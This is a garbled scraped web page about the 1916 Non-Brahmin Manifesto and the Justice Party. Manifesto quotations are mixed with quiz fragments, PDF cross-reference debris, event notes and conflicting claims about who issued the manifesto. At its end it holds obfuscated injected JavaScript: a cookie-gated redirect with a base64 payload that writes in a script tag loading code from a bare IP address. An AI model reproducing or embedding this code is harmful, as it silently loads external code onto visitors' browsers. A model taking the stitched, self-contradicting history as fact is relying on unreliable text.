It opposed the Home Rule Movement as a movement ofBrahmins and feared that Home Rule might give them more power. Next to the felicitation session seminar on What did Justice Party achieve? was held. The concluding address was delivered by Dr.K.Veeramani, Patron of Dravidian Historical Research Centre. We are not aware that neither before 1907, when a sort of election of a few Fellows by graduates of a certain number of years standing was allowed, nor since 1914, when the statement referred to was made in the Legislative Council, the graduates of the Madras University, of whom the majority have always been Brahmins, elected a non-Brahmin, as a Fellow of the University. Side by side with the starting of associations for the advancement of the education of the non-Brahmin classes, must also be maintained social and political organisations, and where they are needed, well conducted newspapers of their own, both in the vernaculars and in English, to push forward their claims, By their attitude of silence and inaction they have failed to make their voices heard and others more astute than they have used them for their own ends, with the result that there is a great deal of discontent among the non-Brahmins about their present lot as compared with that of their Brahmin fellow countrymen, of which, perhaps, the Government is not fully aware, the discontent is growing every day, and the attention of the Government will be drawn to it. The non-Brahmin urban middle class started unifying themselves and the 'Non-Brahmin Manifesto' was published in 1916 followed by the formation of south Indian association in 1917. P.Thiyagaraya chetti issued the historic document popularly known as Non-Brahmin Manifesto. They have, in the first place, to educate their boys and girls in far larger numbers than they have yet done, Associations under the responsible guidance of leading non-Brahmin gentlemen should be started and maintained in a state of efficiency, in every populous centre, not merely to induce the various non-Brahmin communities to avail themselves more freely of the existing facilities for education, and to create such facilities where they do not exist, but also to find adequate funds for the education of such of their poor but intelligent boys and girls as cannot obtain instruction without extraneous pecuniary help. We are deeply devoted and loyally attached to British rule, for that rule, in spite of its many short-comings and occasional aberrations, is, in the main, just and sympathetic, We, indeed, hope that our rulers will, as their knowledge of the country expands, be more readily responsive to public feeling, when, of course, that feeling is clearly manifest and decidedly unambiguous, and that before they take any action they will examine the interests and wishes of each caste, class and community with more anxious care than heretofore and in a less conventional manner, When the spirit of social exclusiveness and the rigidity of class and caste begin to disappear, the progress towards self-government will unquestionably be more satisfactory, but, for the present, the practical politician has to concern himself with what lies immediately in front of him. But it passes our understanding Why a small class, which shows a larger percentage of English knowing men than their neighbours, should be allowed almost to absorb all the government appointments, great and small, high and low, to the exclusion of the latter, among whom may also be found, though in small proportions, men of capacity, enlightenment and culture. No one denies, this. He is reported to have stated that in the competitive examinations for the Provincial Civil Service, which were held between 1892 and 1904, out of sixteen successful Candidates fifteen were Brahmins, giving a ratio of 95 percent of Brahmin success. They make little or no use of their influence among the masses for the general advancement of the country, in these days of organised effort, they maintain no advancement of the country. startxref
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Of course, he did not invite the attention of the Public Service Commission to what prevailed in the important Native States directly under the control of the Madras Government, where, too, the preponderance of Brahmins in the Government Service then, as now, Was not less marked, Nor did lie go into the figures relating to the subordinate services, which are recruited under a system almost wholly of patronage. 0000004811 00000 n
The Board of Revenue added a column in 1904 exhibiting caste or sect of each subordinate department to provide uniformity to its rules.7 <>>>
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Surely, in these services the preponderance of Brahmins would be still more striking. It is curious to note that even where competitive examinations did not exist, as for instance in the Subordinate Judicial Service of the presidency, the major portion of the appointments was in the hands of the Brahmins, Sir Alexander Cardew stated that, out of 128 permanent District Munsiffs in 1913, 93 were Brahmins, 25 non-Brahmin Hindus and the rest Muhammadans, Indian Christiane, Europeans and Anglo-Indians, From these and other figures of a like nature, he naturally concluded that an open competition for the Civil Service in India would mean almost complete monopoly of the service by the Brahmin caste and the practical exclusion from it of the non-Brahmin classes. 0000008178 00000 n
a) 1909 b) 1919 c) 1915 d) 1917 Explanation In this context, the Dravidian movement emerged as a defence of the non-Brahmins against the Brahmin dominance. Non-Brahmin Manifesto was proclaimed by Sir Pitti.Theagarayar, narrating the social conditions of non-brahmins in the erstwhile Madras Presidency and the unreasonable monopoly of Brahmins in the education and employment areas. T.Nagar is a locality in Chennai which is named after him. How his Excellency Lord Pentland was dealt with by some of the papers in connection with the recent nominations to his Legislative Council may be cited as the latest example of this kind of hostile and unfair criticism, Outside these responsible bodies more or less under the control of the Government, even in the case of existing political organisations in the city of Madras as well as in the Districts, the figures regarding election, if gone into, will tell the same tale. :^|; )"+e.replace(/([\.$? 0000032915 00000 n
One, of the earliest lower caste movements, which became the torch bearer for the future caste movements, was founded in Maharashtra in the 1870s by Jyotibha Phule, who with his books Gulamgiri (1872) and Sarvajanik Satyadharma Pustak and his organisation Satya Shodhak Samaj, proclaimed the need "to save the lower castes . The association started publishing three newspapers: Dravidian in Tamil, Justice in English and Andhra Prakasika in Telugu, to propagate the ideals of the Party. Manifesto definition: A manifesto is a statement published by a person or group of people, especially a. Chetty, as secretary of the Association, issued *The Non-Brahmin Manifesto; surveying the conditions of the non-Brahman community and point ing out the directions for advancement. But the spirit in which, the method by which, and the persons by whom, it is at present worked cannot, all of them, commend themselves to the thinking and self-respecting section of the non-Brahmin public of this presidency, The social reactionary and the impatient political idealists, who seldom has his foot on solid earth, have now taken almost complete possession of the Congress. The subject 'Brahmin and non-Brahmin' began to acquire significance in Tamil Nadu with the emergence of a strong movement against hegemonic position of Brahmins in the Tamil society. Communal division between Brahmins and non-Brahmins began in the presidency during the late-19th and early-20th . As a gesture of acknowledgement the felicitated dignitaries spoke as follows: Justice V.Ramaswami, former Judge of the Supreme Court of India. opinion, among others of the 40 millions of non-Brahmins of this large and important province, It is our unfortunate experience also that as concessions and rights are more freely bestowed, the rigidly exclusive caste grows still more rigid and exclusive. In which year Non-Brahmin Manifesto was released? d. The non-Brahmin communities have been trying to grab the opportunity by setting up . Justice V.Ramaswami, former Judge of the Supreme Court of India, Justice S.Ratnavel Pandian, former Judge of the Supreme Court of India, Mr.S.V.Chittibabu, former Vice Chancellor of Madurai and Annamalai Universities, Self-respectful.G.Arangasamy, Rationalist Educationist, Writer Pattukottai Kumaravel were invited and felicitated on behalf of Dravidar Kazhagam by its President, Dr.K.Veeramani. It" is not necessary for our purpose to go into the details of this extravagant scheme, or into those of the other submitted to His Excellency the Viceroy by nineteen members of the Imperial Legislative Council, We are not in favour of any measure, which, in operation, is designed, or tends completely, to undermine the influence and authority of the British Rulers, who alone, in the present circumstances of India, are able to hold the scales even between creed and class, and to develop that sense of unity and national solidarity, without which India will continue to be a congeries of mutually exclusive and warring groups, without a common purpose and a common patriotism. No political, economic or social crisis has dented the thirty-year-old consolidation of the state's most prosperous elites behind the BJP so far. In 1914 a new Secretary ship to Government was created, and a Brahmin official was forthwith appointed to it, The Indian Secretary to the Board of Revenue is a Brahmin; and of the two Collectorships open to the members of the Provincial Civil Service, that, which has fallen to the share of the communities other than the Muhamnadan, has nearly always gone to a Brahmin official. We do not deny that in these days of fierce intellectual competition the skill to pass examinations is a valuable personal possession. Non-Brahmin Manifesto was proclaimed by Sir Pitti.Theagarayar, narrating the social conditions of non-brahmins in the erstwhile Madras Presidency and the unreasonable monopoly of Brahmins in the education and employment areas. When the non-brahmin manifesto was released for public debate and scrutiny in december 1916, Annie Beasant, editor of New India (NI) and patron saint of the Home rule movement denounced its contents and stated intentions in strident terms. PROGRESSIVE POLITICAL DEVELOPMENT WANTED AND NOT UNAUTHORIZED CONSTITUTION - MAKING. Old established traditions, the position of the Brahmins as the highest and the most sacred of the Hindu castes, the nature of their ancient calling, and the steady inculcation of the belief, both by written texts and oral, teaching, that they are so many divinely-ordained intermediaries without whose active intervention and blessing the soul cannot obtain salvation, and their consequent freedom from manual toil all these helped them to adapt themselves easily to the new conditions under British Rule, as under previous epochs, in large numbers and far more successfully than the other castes and communities, Apart, however, from the question of English education, are large material stakes, traditional and inherited interests in the soil and the social prestige that goes with it, influence among the masses, quiet and peaceful occupations that tend to the steady economic development of the province, and overwhelming numerical strength itself, to count for nothing? Non-Brahmin Manifesto was issued by P.Kesava Pillai, member of the Legislative Council. The manifesto became an important document that would shape the rise of Dravidian movement later. PROGRESSIVE POLITICAL DEVELOPMENT WANTED AND NOT UNAUTHORIZED CONSTITUTION MAKING. 0000024697 00000 n
It is our firm conviction that in India, for some time to come at any rate, every community has primarily to put its own house in order, so that, when it has to co-operate with other communities, possibly with higher social pretentions, it may do so, not as a dependent and helpless unit to be made a figure head or cats-paw of, but as a self-respecting and highly developed social organitsation, offering its willing co-operation for the promotion of common objects on terms of perfect equality. Justice Party Golden Jubilee Souvenir (1968) & Dravidar 100 (2016). Textbook Solutions 8442. We appeal to the enlightened members of the non-Brahmin communities to be up and doing, their future lies in their own hands. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('